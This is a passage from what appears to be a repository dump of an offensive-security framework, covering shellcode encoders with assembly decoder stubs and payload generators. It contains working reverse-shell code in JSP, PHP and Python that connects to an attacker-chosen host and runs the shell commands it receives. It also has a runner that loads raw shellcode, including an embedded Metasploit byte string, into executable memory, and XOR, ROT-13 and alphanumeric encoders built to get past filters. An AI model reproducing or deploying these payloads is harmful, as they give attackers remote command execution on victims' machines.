OS_SYSTEM\n        self.OS_TARGET = OS_TARGET\n        self.OS_TARGET_ARCH = OS_TARGET_ARCH\n        self.BADCHARS = BADCHARS\n        self.TMP_DIR = 'tmp'\n        self.step = 0\n        self.max_steps = 20\n        return\n\n    def encode_shellcode(self, _byte_array, encoder_type, debug=0):\n        \"\"\"Encodes shellcode and returns encoded shellcode\n        :param encoder_type: const of EncoderType\n        \"\"\"\n        encoded_shellcode = ''\n        if encoder_type == Constants.EncoderType.XOR or encoder_type == 1:\n            encoded_shellcode = self.xor_encoder(_byte_array, debug)\n        elif encoder_type == Constants.EncoderType.ALPHANUMERIC:\n            encoded_shellcode = self.alphanum_encoder(_byte_array, debug)\n        elif encoder_type == Constants.EncoderType.ROT_13:\n            encoded_shellcode = self.rot_13_encoder(_byte_array, debug)\n        elif encoder_type == Constants.EncoderType.FNSTENV_XOR:\n            encoded_shellcode = self.fnst_encoder(_byte_array, debug)\n        elif encoder_type == Constants.EncoderType.JUMPCALL_XOR:\n            encoded_shellcode = self.jumpcall_encoder(_byte_array, debug)\n        else:\n            print \"There no encoder of this type\"\n            return None\n        return encoded_shellcode\n\n    def clean_bad_chars(self, orig_array, payload):\n        if not self.BADCHARS:\n            print \"You must specify some params\"\n            return None\n        for k in self.BADCHARS:\n            # Ooops, BadChar found :( Do XOR stuff again with a new random value\n            # This could run into an infinite loop in some cases\n            if k in payload:\n                payload = self.xor_bytes(orig_array)\n        return payload\n\n    def xor_bytes(self, byte_array):\n        # Randomize first byte\n        rnd = randint(1, 255)\n        xor1 = (rnd ^ byte_array[0])\n        xor2 = (xor1 ^ byte_array[1])\n        xor3 = (xor2 ^ byte_array[2])\n        xor_array = bytearray()\n        xor_array.append(rnd)\n        xor_array.append(xor1)\n        xor_array.append(xor2)\n        xor_array.append(xor3)\n\n        return self.clean_bad_chars(byte_array, xor_array)\n\n    def xor_decoder(self, _shellcode, debug=0):\n        \"\"\"\n            The decoder stub is a small chunk of instructions\n            that is prepended to the encoded payload.\n            When this new payload is executed on the target system,\n            the decoder stub executes first and is responsible for\n            decoding the original payload data. Once the original\n            payload data is decoded, the decoder stub passes execution\n            to the original payload. Decoder stubs generally perform a\n            reversal of the encoding function, or in the case of an XOR\n            obfuscation encoding, simply perform the XOR again against\n            the same key value.\n        \"\"\"\n\n        asm_code = \"\"\"\nglobal _start\n\nsection .text\n_start:\n    jmp get_shellcode\n\ndecoder:\n    pop esi         ;pointer to shellcode\n    push esi        ;save address of shellcode for later execution\n    mov edi, esi    ;copy address of shellcode to edi to work with it\n\n    xor eax, eax    ;clear first XOR-operand register\n    xor ebx, ebx    ;clear second XOR-operand register\n    xor ecx, ecx    ;clear inner loop-counter\n    xor edx, edx    ;clear outer loop-counter\n\nloop0:\n    mov al, [esi]   ;get first byte from the encoded shellcode\n    mov bl, [esi+1] ;get second byte from the encoded shellcode\n    xor al, bl      ;xor them (result is saved to eax)\n    mov [edi], al   ;save (decode) to the same memory location as the encoded shellcode\n    inc edi         ;move decoded-pointer 1 byte onward\n    inc esi         ;move encoded-pointer 1 byte onward\n    inc ecx         ;increment inner loop-counter\n    cmp cl, 0x3     ;dealing with 4byte-blocks!\n    jne loop0\n\n    inc esi         ;move encoded-pointer 1 byte onward\n    xor ecx, ecx    ;clear inner loop-counter\n    add dx, 0x4     ;move outer loop-counter 4 bytes onward\n    cmp dx, len     ;check whether the end of the shellcode is reached\n    jne loop0\n\n    call [esp]      ;execute decoded shellcode\n\nget_shellcode:\n    call decoder\n    shellcode: db USER_SHELLCODE\n    len:    equ $-shellcode\n\n\"\"\"\n\n        asm_code = asm_code.replace('USER_SHELLCODE', _shellcode)\n        encoded_shellcode, _ = create_shellcode(asm_code, self.OS_TARGET, self.OS_TARGET_ARCH, debug=debug)\n        return encoded_shellcode\n\n    def xor_encoder(self, _byte_arr, debug=0):\n        self.step += 1\n        \"\"\"\n            Simple xor encoder\n            https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder/\n        \"\"\"\n\n        shellcode = bytearray(_byte_arr)\n\n        # Check whether shellcode is aligned\n        if len(shellcode) % 3 == 1:\n            shellcode.append(0x90)\n            shellcode.append(0x90)\n        elif len(shellcode) % 3 == 2:\n            shellcode.append(0x90)\n\n        # Loop to split shellcode into 3-byte-blocks\n        final = \"\"\n        for i in range(0, len(shellcode), 3):\n            tmp_block = bytearray()\n            tmp_block.append(shellcode[i])\n            tmp_block.append(shellcode[i + 1])\n            tmp_block.append(shellcode[i + 2])\n\n            # Do the RND-Insertion and chained XORs\n            tmp = self.xor_bytes(tmp_block)\n\n            # Some formatting things for easier use in NASM :)\n            for y in tmp:\n                if len(str(hex(y))) == 3:\n                    final += str(hex(y)[:2]) + \"0\" + str(hex(y)[2:]) + \",\"\n                else:\n                    final += hex(y) + \",\"\n\n        final = final[:-1]\n        encoded_shellcode = self.xor_decoder(final, debug)\n        for i in self.BADCHARS:\n            if i in encoded_shellcode:\n                print(\"Founding BADHCARS\")\n                if self.step < self.max_steps:\n                    return self.xor_encoder(_byte_arr, debug)\n                else:\n                    return None\n        return encoded_shellcode\n\n    def rot_13_decoder(self, _shellcode, debug=0):\n        \"\"\"\n            The decoder stub\n        \"\"\"\n\n        n = 13\n        n_hex = hex(n)\n\n        asm_code = \"\"\"\nglobal _start\n\nsection .text\n\n_start:\n    jmp short call_decoder\n\ndecoder:\n    pop esi                     ; shellcode address\n    xor ecx, ecx                ; zero out ecx\n    mov cl, len                 ; initialize counter\n\ndecode:\n    cmp byte [esi], %s          ; can we substract 13?\n    jl wrap_around              ; nope, we need to wrap around\n    sub byte [esi], %s          ; substract 13\n    jmp short process_shellcode ; process the rest of the shellcode\n\nwrap_around:\n    xor edx, edx                ; zero out edx\n    mov dl, %s                  ; edx = 13\n    sub dl, byte [esi]          ; 13 - shellcode byte value\n    xor ebx,ebx                 ; zero out ebx\n    mov bl, 0xff                ; store 0x100 without introducing null bytes\n    inc ebx\n    sub bx, dx                  ; 256 - (13 - shellcode byte value)\n    mov byte [esi], bl          ; write decoded value\n\nprocess_shellcode:\n    inc esi                     ; move to the next byte\n    loop decode                 ; decode current byte\n    jmp short shellcode         ; execute decoded shellcode\n\ncall_decoder:\n    call decoder\n    shellcode:\n        db USER_SHELLCODE\n    len: equ $-shellcode\n\"\"\" % (n_hex, n_hex, n_hex)\n\n        asm_code = asm_code.replace('USER_SHELLCODE', _shellcode)\n        encoded_shellcode, _ = create_shellcode(asm_code, self.OS_TARGET, self.OS_TARGET_ARCH, debug=debug)\n        return encoded_shellcode\n\n    def rot_13_encoder(self, _shellcode, debug=0):\n        \"\"\"\n            ROT13 (\"rotate by 13 places\", sometimes hyphenated ROT-13)\n            is a simple letter substitution cipher that replaces a letter\n            with the letter 13 letters after it in the alphabet. ROT13\n            is a special case of the Caesar cipher, developed in ancient Rome.\n        \"\"\"\n\n        n = 13  # rot-n\n        max_value_without_wrapping = 256 - n\n\n        encoded_shellcode = \"\"\n        db_shellcode = []\n\n        for x in bytearray(_shellcode):\n            if x < max_value_without_wrapping:\n                encoded_shellcode += '\\\\x%02x' % (x + n)\n                db_shellcode.append('0x%02x' % (x + n))\n            else:\n                encoded_shellcode += '\\\\x%02x' % (n - 256 + x)\n                db_shellcode.append('0x%02x' % (n - 256 + x))\n\n        # print \"Encoded shellcode:\\n%s\\n\" % encoded_shellcode\n        # print \"DB formatted (paste in .nasm file):\\n%s\\n\" % ','.join(db_shellcode)\n\n        encode_shellcode = self.rot_13_decoder(','.join(db_shellcode), debug)\n        return encode_shellcode\n\n    def fnst_encoder(self, _byte_array, debug):\n        encoder = FnstenvXorEncoder(self.BADCHARS)\n        shellcode = _byte_array\n        encoded_shell = encoder.encode_to_string(shellcode)\n        if debug:\n            print \"Len of encoded shellcode:\", len(encoded_shell)\n        return encoded_shell\n\n    def jumpcall_encoder(self, _byte_array, debug):\n        encoder = JumpCallXorEncoder(self.BADCHARS)\n        shellcode = _byte_array\n        encoded_shell = encoder.encode_to_string(shellcode)\n        if debug:\n            print \"Len of encoded shellcode:\", len(encoded_shell)\n        return encoded_shell\n\n    def alphanum_encoder(self, byte_str, debug=0, buffer_register='ecx'):\n        encoder = AlphanumericEncoder(self.BADCHARS, buffer_register=buffer_register)\n        encoded_shell = encoder.encode(byte_str)\n        if debug:\n            print(\"Length of encoded shellcode: %s\" % len(encoded_shell))\n            print ''.join(\"\\\\x%02x\"%ord(c) for c in encoded_shell)\n        return encoded_shell\n\n\n"
  },
  {
    "path": "shellcodes/JavaShellcode.py",
    "content": "import os\nfrom shellcode import Shellcode\nfrom core.helpers.archieve.jar import Jar\nfrom ShellUtils import Constants, read_binary\n\nclass JavaShellcodes(Shellcode):\n    \"\"\"\n        Class with shellcodes for java language\n    \"\"\"\n    def __init__(self, connectback_ip='localhost', connectback_port=5555,\n                 badchars=['\\x00'], type = Constants.JavaShellcodeType.JAR, make_jar=False):\n        Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port, badchars=badchars)\n        self.type = type\n        self.make_jar = make_jar\n        self.path_to_jar = \"\"\n        return\n\n    def get_jsp(self, inline=False):\n        \"\"\" Function to get java(jsp) shellcode \"\"\"\n\n        if not self.CONNECTBACK_IP or not self.CONNECTBACK_PORT:\n            print \"Settings for connectback listener must be defined\"\n            return False\n\n        javacode = \"\"\n        javacode += \"\"\"\n<%@page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\"%>\n<%class StreamConnector extends Thread {\n\tInputStream is;\n\tOutputStream os;\n\tStreamConnector( InputStream is, OutputStream os ) {\n\t\tthis.is = is;\n\t\tthis.os = os;\n\t}\n\tpublic void run() {\n\t\tBufferedReader in = null;\n\t\tBufferedWriter out = null;\n\t\ttry {\n\t\t\tin = new BufferedReader( new InputStreamReader( this.is ) );\n\t\t\tout = new BufferedWriter( new OutputStreamWriter( this.os ) );\n\t\t\tchar buffer[] = new char[8192];\n\t\t\tint length;\n\t\t\twhile( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) {\n\t\t\t\tout.write( buffer, 0, length ); out.flush();\n\t\t\t}\n\t\t} catch( Exception e ){\n\n\t\t}\n\t\ttry {\n\t\t\tif( in != null ) in.close();\n\t\t\tif( out != null ) out.close();\n\t\t} catch( Exception e ){}\n\t}\n}\ntry {\n\tString OS = System.getProperty(\"os.name\").toLowerCase();\n\tSocket socket = new Socket( \"LOCALHOST\", LOCALPORT );\n\tString command = \"cmd.exe\";\n\tif (OS.indexOf(\"win\") < 0)\n\t\tcommand = \"/bin/sh\";\n\tProcess process = Runtime.getRuntime().exec(command);\n\t(new StreamConnector(process.getInputStream(),socket.getOutputStream())).start();\n\t(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();\n} catch( Exception e ) {\n\n}\n%>\"\"\"\n\n        javacode = javacode.replace(\"LOCALHOST\", str(self.CONNECTBACK_IP))\n        javacode = javacode.replace(\"LOCALPORT\", str(self.CONNECTBACK_PORT))\n        if inline:\n            javacode = self.make_inline(javacode)\n        return javacode\n\n    def get_jar(self, filename=\"\"):\n        if not os.path.exists('temp'):\n            os.makedirs(\"temp\")\n        filepath = 'temp/%s' % (filename or \"payload.jar\")\n        jar = Jar(filepath)\n        data = \"{host};{port}\".format(host=self.CONNECTBACK_IP, port=self.CONNECTBACK_PORT)\n        jar.add_file('east/data.dat', data)\n        path = os.getcwd() + '/shellcodes/data/java/reverse_tcp/Payload.class'\n        jar.add_file('east/Payload.class', read_binary(path))\n        if self.make_jar:\n            self.path_to_jar = filepath\n        remove_jar = not self.make_jar\n        return jar.get_raw(remove_jar)\n\n    def get_shellcode(self, inline=False):\n        if not hasattr(Constants.JavaShellcodeType, self.type.upper()):\n            raise Exception(\"There no Java payload of this type.\")\n        shell = \"\"\n        if self.type == Constants.JavaShellcodeType.JAR:\n            shell = self.get_jar()\n        elif self.type == Constants.JavaShellcodeType.JSP:\n            shell = self.get_jsp(inline)\n        return shell\n"
  },
  {
    "path": "shellcodes/PhpShellcode.py",
    "content": "from shellcode import Shellcode\n\n\nclass PhpShellcodes(Shellcode):\n    \"\"\"\n        Class with shellcodes for php language\n    \"\"\"\n\n    def __init__(self, connectback_ip='localhost', connectback_port=5555):\n        Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port)\n        self.name = \"\"\n        return\n\n    def get_phpinfo(self, badchars):\n        \"\"\" Function to get phpinfo \"\"\"\n        phpcode = \"<?php phpinfo(); ?>\"\n        return phpcode\n\n    def get_phpcode(self, localhost, localport):\n        \"\"\" Function to get php shellcode \"\"\"\n\n        if not localhost or not localport:\n            print \"Settings for connectback listener must be defined\"\n            return False\n\n        phpcode = \"\"\n        phpcode += \"\"\"\n<?php\n    $address=\"LOCALHOST\";\n    $port=LOCALPORT;\n    $buff_size=2048;\n    $timeout=120;\n\n    $sock=fsockopen($address,$port) or die(\"Cannot create a socket\");\n    while ($read=fgets($sock,$buff_size)) {\n        $out=\"\";\n        if ($read) {\n            if (strcmp($read,\"quit\")===0 || strcmp($read,\"q\")===0) {\n                break;\n            }\n\n            ob_start();\n            passthru($read);\n            $out=ob_get_contents();\n            ob_end_clean();\n        }\n\n        $length=strlen($out);\n        while (1) {\n            $sent=fwrite($sock,$out,$length);\n            if ($sent===false) {\n                break;\n            }\n\n            if ($sent<$length) {\n                $st=substr($st,$sent);\n                $length-=$sent;\n            } else {\n                break;\n            }\n        }\n    }\n    fclose($sock);\n?>\n\"\"\"\n        phpcode = phpcode.replace(\"LOCALHOST\", str(localhost))\n        phpcode = phpcode.replace(\"LOCALPORT\", str(localport))\n        return phpcode\n\n    def get_php_code_inline(self, host, port):\n        res = self.get_phpcode(host, port)\n        res = res.replace('\\n', '')\n        res = res.replace('\\r', '')\n        return res\n\n    def get_shellcode(self, inline=False):\n        shell = self.get_phpcode(self.CONNECTBACK_IP, self.CONNECTBACK_PORT)\n        if inline:\n            shell = self.make_inline(shell)\n        return shell\n"
  },
  {
    "path": "shellcodes/PythonShellcode.py",
    "content": "from shellcode import Shellcode\nclass PythonShellcodes(Shellcode):\n    \"\"\"\n        Class with shellcodes for python language\n    \"\"\"\n\n    def __init__(self, connectback_ip='localhost', connectback_port=5555):\n        Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port)\n        self.name = \"\"\n        return\n\n    def get_python_code(self, badchars, localhost, localport):\n        \"\"\"\n            Function to get python shellcode\n        \"\"\"\n\n        if not localhost or not localport:\n            print \"Settings for connectback listener must be defined\"\n            return False\n\n        pythoncode = \"\"\n        pythoncode += \"\"\"\n#!/usr/bin/python\nimport socket,subprocess\n\nHOST = 'LOCALHOST'    # The remote host\nPORT = LOCALPORT      # The same port as used by the server\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# connect to attacker machine\ns.connect((HOST, PORT))\n\n# send we are connected\ns.send('[*] Connection Established!')\n# start loop\nwhile 1:\n    # recieve shell command\n    data = s.recv(1024)\n    print data\n\n    # if its quit, then break out and close socket\n    if data == 'quit' or data == 'q':\n        break\n\n    # do shell command\n    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n    # read output\n    stdout_value = proc.stdout.read() + proc.stderr.read()\n    # send output to attacker\n    s.send(stdout_value)\n# close socket\ns.close()\n\"\"\"\n\n        pythoncode = pythoncode.replace(\"LOCALHOST\", str(localhost))\n        pythoncode = pythoncode.replace(\"LOCALPORT\", str(localport))\n\n        return pythoncode\n\n    def get_shellcode(self, inline=False):\n        shell = self.get_python_code(self.BADCHARS, self.CONNECTBACK_IP, self.CONNECTBACK_PORT)\n        if inline:\n            shell = self.make_inline(shell)\n        return shell"
  },
  {
    "path": "shellcodes/README",
    "content": "Generate shellcodes are tested on:\n1. WIN 32bit XP SP2\n2. WIN 32bit 7 Ultimate\n3. Linux 3.13.0-57-generic Ubuntu x86_64 x86_64 x86_64 GNU/Linux"
  },
  {
    "path": "shellcodes/Runshellcode.py",
    "content": "#!/usr/bin/python\nimport ctypes\nfrom Encoders import *\nfrom Shellcodes import *\nfrom ast import literal_eval\nfrom ShellUtils import Constants\n\nclass RunShellcode():\n    def run(self, shellcode_string, platform, encoder=''):\n        if encoder:\n            BADCHARS = [\"\\x00\", \"\\x0a\", \"\\x0d\"]\n            new_encoder = CodeEncoders(platform, platform, Constants.OS_ARCH.X32, BADCHARS)\n            if encoder == Constants.EncoderType.XOR:\n                shellcode_string = new_encoder.xor_encoder(shellcode_string, debug=1)\n            elif encoder == Constants.EncoderType.ALPHANUMERIC:\n                shellcode_string = new_encoder.alphanum_encoder(shellcode_string, debug=1)\n\n        if platform == Constants.OS.WINDOWS:\n            shellcode = bytearray(shellcode_string)\n\n            ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),\n                                                      ctypes.c_int(len(shellcode)),\n                                                      ctypes.c_int(0x3000),\n                                                      ctypes.c_int(0x40))\n\n            buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)\n\n            ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),\n                                                 buf,\n                                                 ctypes.c_int(len(shellcode)))\n\n            ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),\n                                                     ctypes.c_int(0),\n                                                     ctypes.c_int(ptr),\n                                                     ctypes.c_int(0),\n                                                     ctypes.c_int(0),\n                                                     ctypes.pointer(ctypes.c_int(0)))\n\n            ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))\n        elif platform == Constants.OS.LINUX:\n            shellcode = ctypes.c_char_p(shellcode_string)\n            function = ctypes.cast(shellcode, ctypes.CFUNCTYPE(None))\n            addr = ctypes.cast(function, ctypes.c_void_p).value\n            libc = ctypes.CDLL('libc.so.6')\n            pagesize = libc.getpagesize()\n            addr_page = (addr // pagesize) * pagesize\n            for page_start in range(addr_page, addr + len(shellcode_string), pagesize):\n                assert libc.mprotect(page_start, pagesize, 0x7) == 0\n            function()\n        else:\n            print(\"Unknown platform\")\n            return\n\nif __name__ == \"__main__\":\n\n    #x86/shikata_ga_nai succeeded with size 227 (iteration=1)\n    #Metasploit windows/exec calc.exe\n    shellcode = (\"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\"\n                \"\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\"\n                \"\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\"\n                \"\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\"\n                \"\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\"\n                \"\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\"\n                \"\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\"\n                \"\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\"\n                \"\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\"\n                \"\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\"\n                \"\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\"\n                \"\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\"\n                \"\\x90\\x01\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\"\n                \"\\xff\\xd5\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\"\n                \"\\xdf\\xe0\\xff\\xd5\\x97\\x6a\\x05\\x68\\x7f\\x00\\x00\\x01\\x68\"\n                \"\\x02\\x00\\x0f\\xa0\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\\x99\\xa5\"\n                \"\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0c\\xff\\x4e\\x08\\x75\\xec\"\n                \"\\x68\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x68\\x63\\x6d\\x64\\x00\\x89\"\n                \"\\xe3\\x57\\x57\\x57\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\"\n                \"\\xc7\\x44\\x24\\x3c\\x01\\x01\\x8d\\x44\\x24\\x10\\xc6\\x00\\x44\"\n                \"\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\\x56\\x56\\x53\\x56\\x68\"\n                \"\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0\\x4e\\x56\\x46\\xff\\x30\"\n                \"\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x68\"\n                \"\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\"\n                \"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5\")\n    # Linux x86 test shellcode\n    # (\"\\x6a\\x0b\\x58\\x99\\x52\\x66\\x68\\x2d\\x63\\x89\\xe7\\x68\\x2f\\x73\\x68\"\n    # \"\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\xe8\\x10\\x00\\x00\\x00\\x2f\"\n    # \"\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x77\\x68\\x6f\\x61\\x6d\\x69\\x00\"\n    # \"\\x57\\x53\\x89\\xe1\\xcd\\x80\");\n    rsc = RunShellcode()\n    rsc.run(shellcode, Constants.OS.WINDOWS, None)\n\n\n"
  },
  {
    "path": "shellcodes/ShellUtils.py",
    "content": "import os\nimport time\nfrom subprocess import call, Popen, PIPE\nfrom shutil import rmtree\nfrom platform import system, machine\nimport struct\n\nTIMESTAMP = time.strftime('%Y%m%d%H%M%S', time.gmtime())\nOS_SYSTEM = system().upper()\nOS_ARCH = machine()\n\n\nclass Constants:\n    FW_ROOT_PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..'))\n    SHELLCODES_DEV_PATH = os.path.join(FW_ROOT_PATH, '3rdPartyTools', 'ShellcodesUtils')\n    TMP_DIR = os.path.join(FW_ROOT_PATH, 'tmp')\n\n    class OS:\n        WINDOWS = \"WINDOWS\"\n        LINUX = \"LINUX\"\n\n    class OS_ARCH:\n        X32 = \"32bit\"\n        X64 = \"64bit\"\n\n    class EncoderType:\n        XOR = \"xor\"\n        ALPHANUMERIC = \"alphanum\"\n        ROT_13 = \"rot_13\"\n        FNSTENV_XOR = \"fnstenv\"\n        JUMPCALL_XOR = \"jumpcall\"\n\n    class ShellcodeType:\n        JSP = \"jsp\"\n        JAR = \"jar\"\n        PYTHON = \"python\"\n        PHP = \"php\"\n        ASPX = \"aspx\"\n\n    class JavaShellcodeType:\n        JSP = \"jsp\"\n        JAR = \"jar\"\n\n    class ShellcodeConnection:\n        BIND = 'bind'\n        REVERSE = 'reverse'\n\n\ndef is_os_64bit():\n    return machine().endswith('64')\n\n\ndef search_file(filename, search_path):\n    \"\"\"\n        Given a search path, find file\n    \"\"\"\n    path = os.path.join(search_path, filename)\n    if os.path.exists(path):\n        return path\n    return None\n\n\ndef write_file(data, file_ext='', file_name=''):\n    \"\"\"\n        Function to create file\n    \"\"\"\n\n    if not os.path.exists(Constants.TMP_DIR):\n        os.makedirs(Constants.TMP_DIR)\n\n    if not file_ext.startswith('.'):\n        file_ext = '.' + file_ext\n    if not file_name:\n        file_name = TIMESTAMP\n    file_name += file_ext\n    file_path = os.path.join(Constants.TMP_DIR, file_name)\n\n    fd = open(file_path, 'wb+')\n    fd.write(data)\n    fd.close()\n\n    return file_path\n\n\ndef get_objective_code(asm_file, target_arch, debug=0):\n    \"\"\"\n        Get objective code (file: *.o)\n    \"\"\"\n    output_format = \"\"\n    if target_arch == Constants.OS_ARCH.X32:\n        output_format = 'elf'\n    elif target_arch == Constants.OS_ARCH.X64:\n        output_format = 'elf64'\n    else:\n        print (\"Format for output objective file is not defined\")\n        return None\n\n    if not asm_file:\n        print (\"You must specify some params passed to function\")\n        return None\n\n    obj_file = (asm_file.split('.'))[0] + \".o\"\n\n    app = 'nasm'  # Application that do magic for us\n    if OS_SYSTEM == Constants.OS.WINDOWS:\n        app += '.exe'\n        find_app = search_file(\"%s\" % app, Constants.SHELLCODES_DEV_PATH)\n        if find_app:\n            if debug:\n                print (\"app: '%s' found at %s\" % (app, find_app))\n        else:\n            print (\"You must install app: '%s' and maybe edit environment variables path to it\" % app)\n            return None\n    elif OS_SYSTEM == Constants.OS.LINUX:\n        find_app = app\n    else:\n        print (\"Can't understand source os\")\n        return None\n\n    command = \"%s -f%s -o%s %s\" % (find_app, output_format, obj_file, asm_file)\n    if debug:\n        print (command)\n    res = call([find_app, \"-f\", output_format, \"-o\", obj_file, asm_file])\n    if res == 0:\n        if debug:\n            print(\"Objective code has been created\")\n        return obj_file\n    else:\n        print (\"Something wrong while getting objective code\")\n        return None\n\n\ndef objdump(obj_file, os_target_arch, debug=0):\n    \"\"\"\n        Get shellcode with objdump utility\n    \"\"\"\n\n    res = ''\n    if not obj_file:\n        print (\"You must specify some params passed to function\")\n        return None\n    else:\n        app = 'objdump'\n        if OS_SYSTEM == Constants.OS.WINDOWS:\n            app += \".exe\"\n\n            find_app = search_file(\"%s\" % app, Constants.SHELLCODES_DEV_PATH)\n            if find_app:\n                if debug:\n                    print (\"app: '%s' found at %s\" % (app, find_app))\n            else:\n                print (\"You must install app: '%s' and maybe edit environment variables path to it\" % app)\n                return None\n        elif OS_SYSTEM == Constants.OS.LINUX:\n            find_app = app\n        else:\n            print (\"Can't understand source os\")\n            return None\n\n        if os_target_arch == Constants.OS_ARCH.X32:\n            p = Popen(['%s' % find_app, '-d', obj_file], stdout=PIPE, stderr=PIPE)\n        elif os_target_arch == Constants.OS_ARCH.X64:\n            p = Popen(['%s' % find_app, '-d', obj_file, '--disassembler-options=addr64'], stdout=PIPE, stderr=PIPE)\n        else:\n            print (\"OS TARGET ARCH '%s' is not supported\" % os_target_arch)\n            return\n\n        (stdoutdata, stderrdata) = p.communicate()\n        if p.returncode == 0:\n            for line in stdoutdata.splitlines():\n                cols = line.split('\\t')\n                if len(cols) >= 2:\n                    for b in [b for b in cols[1].split(' ') if b != '']:\n                        res = res + ('\\\\x%s' % b)\n        else:\n            raise ValueError(stderrdata)\n\n    if res and debug:\n        print (\"Objdump is created\")\n\n    return res\n\n\ndef create_shellcode(asm_code, os_target, os_target_arch, make_exe=0, debug=0, filename=\"\", dll_inj_funcs=[]):\n    if os_target == Constants.OS.LINUX:\n        dll_inj_funcs = []\n    if not is_os_64bit() and os_target_arch == Constants.OS_ARCH.X64:\n        print (\"ERR: can not create shellcode for this os_target_arch (%s) on os_arch (%s)\" % (os_target_arch, OS_ARCH))\n        return None\n    asm_file = write_file(asm_code, '.asm', filename)\n    obj_file = get_objective_code(asm_file, os_target_arch, debug)\n\n    # stage_2:\n    if obj_file:\n        shellcode = objdump(obj_file, os_target_arch, debug)\n        shellcode = shellcode.replace('\\\\x', '').decode('hex')\n        # shellcode = extract_shell_from_obj(obj_file)\n    else:\n        return None\n    if make_exe:\n        make_binary_from_obj(obj_file, os_target, os_target_arch, debug)\n    if dll_inj_funcs:\n        generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug)\n    return shellcode, asm_file.split(\".\")[0]\n\n\ndef generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug):\n    asm_code = asm_code.replace(\"global _start\", \"\").replace(\"_start:\", \"\")\n    additional_code = \"\"\n    for func in dll_inj_funcs:\n        additional_code += \"global _{}\\r\\n\".format(func)\n    for func in dll_inj_funcs:\n        additional_code += \"_{}:\\r\\n\".format(func)\n    asm_code = additional_code + asm_code\n    asm_file = write_file(asm_code, '.asm', filename)\n    obj_file = get_objective_code(asm_file, os_target_arch, debug)\n    make_binary_from_obj(obj_file, os_target, os_target_arch, debug, True)\n\n\ndef make_binary_from_obj(o_file, os_target, os_target_arch, debug=0, is_dll=False):\n    \"\"\"\n        Function for test shellcode with app written on c-language\n    \"\"\"\n    if is_dll and os_target == Constants.OS.LINUX:\n        print('Dll can be generated only for WINDOWS OS')\n        return None\n    app = 'ld'\n    find_app = ''\n    if OS_SYSTEM == Constants.OS.WINDOWS:\n        if os_target == Constants.OS.LINUX:\n            app += '.gold'\n        elif os_target == Constants.OS.WINDOWS and os_target_arch == Constants.OS_ARCH.X64:\n            app += '64'\n        app += '.exe'\n        find_app = search_file(\"%s\" % app, Constants.SHELLCODES_DEV_PATH)\n        if find_app:\n            if debug:\n                print(\"app: '%s' found at %s\" % (app, find_app))\n        else:\n            print(\"You must install app: '%s' and maybe edit environment variables path to it\" % app)\n            return None\n    elif OS_SYSTEM == Constants.OS.LINUX:\n        find_app = app\n    else:\n        print (\"Can't understand source os: %s\" % OS_SYSTEM)\n        return None\n\n    c_exe = (o_file.split('.'))[0]\n    commands_list = [find_app, '-o', c_exe, o_file, '--strip-all']\n    if OS_SYSTEM == Constants.OS.LINUX:\n        if os_target == Constants.OS.WINDOWS:\n            commands_list.append('-m')\n            commands_list.append('i386pe')\n        if is_dll:\n            commands_list.append('-shared')\n        p = Popen(commands_list)\n        p.communicate()\n    elif OS_SYSTEM == Constants.OS.WINDOWS:\n        if 